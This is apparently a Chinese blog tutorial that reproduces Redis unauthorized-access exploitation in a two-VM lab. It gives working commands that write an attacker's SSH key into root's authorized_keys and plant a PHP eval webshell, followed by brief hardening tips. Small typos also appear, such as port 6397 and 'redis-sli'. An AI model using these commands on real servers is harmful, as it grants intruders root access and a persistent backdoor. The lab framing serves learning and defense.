赞
踩
目录
Redis 是一个开源的、基于内存的数据存储系统,可以作为数据库、缓存和消息队列等使用。它支持多种数据结构,例如字符串、哈希、列表、集合、有序集合等,且提供了事务、持久化、复制等功能。
- redis-cli -h ip -p 6397 -a passwd #外部连接;
- -h:指定redis服务器的主机名或IP地址 -p:指定redis服务器的端口号 -a:指定redis服务器的密码
- info #查看相关信息
- config set dir /root/redis #设置保存目录
- config get dir #查看保存目录
- config set dbfilename redis.rdb #设置保存文件名
- config get dbfilename #设置保存文件名
- flushall #删除所有数据
- del key #删除键为key的数据
- save #进行备份操作
-
-
Redis默认情况下,会绑定在0.0.0.0:6379端口,如果在部署时没有采取相关策略,比如没有设置密码或者弱密码的情况下且没有对非信任ip做限制等,这样就会将Redis服务器暴露在公网,会导致任意用户的未授权访问读取数据。攻击这在未授权访问Redis的情况下,利用Redis本身提供的config命令,可以对文件进行操作,攻击这可以成功将自己的ssh公钥写入目标服务器的authotrized_key文件中,进而可以使用ssh服务登录目标服务器。
Redis 5.0版本以下
1)环境搭建
虚拟机 | ip |
kali | 192.168.247.130 |
centos7 | 192.168.247.136 |
注:关闭防火墙
2)靶机安装redis服务器
从官网上下载redis,然后再使用tar指令对压缩包进行解压,进入到redis文件夹中进行编译安装
wget http://download.redis.io/releases/redis-redis-4.0.10.tar.gz #下载redis
tar -zxf redis-4.0.10.tar.gz #解压
make #编译
进入到redis文件夹下的src文件夹并将redis-server和redis-cli文件拷贝到/usr/bin目录下,这样做的目的是为了在启动redis-server和redis-cli时就不需要每次都进入到安装目录中
cp redis-server /usr/bin/ #将其拷贝到/usr/bin/目录下
cp redis-cli /usr/bin/ #将其拷贝到/usr/bin/目录下
将安装目录下redis-conf文件中的IP绑定修改,允许其他主机远程登录服务,同时关闭远程登录保护
cp redis-conf /etc/ #将配置文件拷贝到/etc/目录下
vim /etc/redis-conf #去掉ip绑定,并关闭保护模式
最后启动redis服务
redis-server /etc/redis.conf
3) 给kali安装redis-cli远程连接工具
下载安装远程连接工具,然后再使用tar指令对压缩包进行解压,进入到redis-table文件夹中进行编译安装
wget http://download.redis.io/redis-stable.tar.gz #下载远程连接工具
tar -zxf redis-4.0.10.tar.gz #解压
make #编译
将src下的redis-cli拷贝到/usr/bin/目录下,并验证是否安装成功
cp /src/redis-sli /usr/bin
redis-cli -h
4)复现
使用nmap进行端口扫描发现redis服务
进行redis命令远程登录redis主机,并查看redis服务端的信息
在kali中生成ssh公钥和私钥文件,并将生成的公钥保存到miyao.txt文件中
ssh-keygen -t rsa
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > miyao.txt
使用redis-cli命令连接到靶机将miyao.txt写入到redis中
cat miyao.txt | redis-cli -h 192.168.247.136 -x set crack
将目标redis服务器备份路径设置为/root/.ssh,并设置上传公钥文件名为authorized_keys然后保存
config set dir /root/.ssh
config set dbfilename "authorized_keys"
使用ssh尝试登录发现成功并可以在靶机上查看/root/.ssh/authorized_keys中已经写入了kali的公钥
ssh root@192.168.247.136 #登录靶机
cat /root/.ssh/authorized_keys #在靶机中查看公钥
在kali中连接到redis服务器之后输入命令:
config set dir /tmp
config set dbfilename shell.php
set x "\n\n\n<?php @eval($_POST['cmd']); ?>\n\n\n"
在靶场的tmp目录下可以写入的一句话木马
1、开启保护模式
2、更改redis的默认端口
3、为redis设置密码
4、限制访问权限
以上内容均只用于学习,因读者所造成的违法行为均与本人无关
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。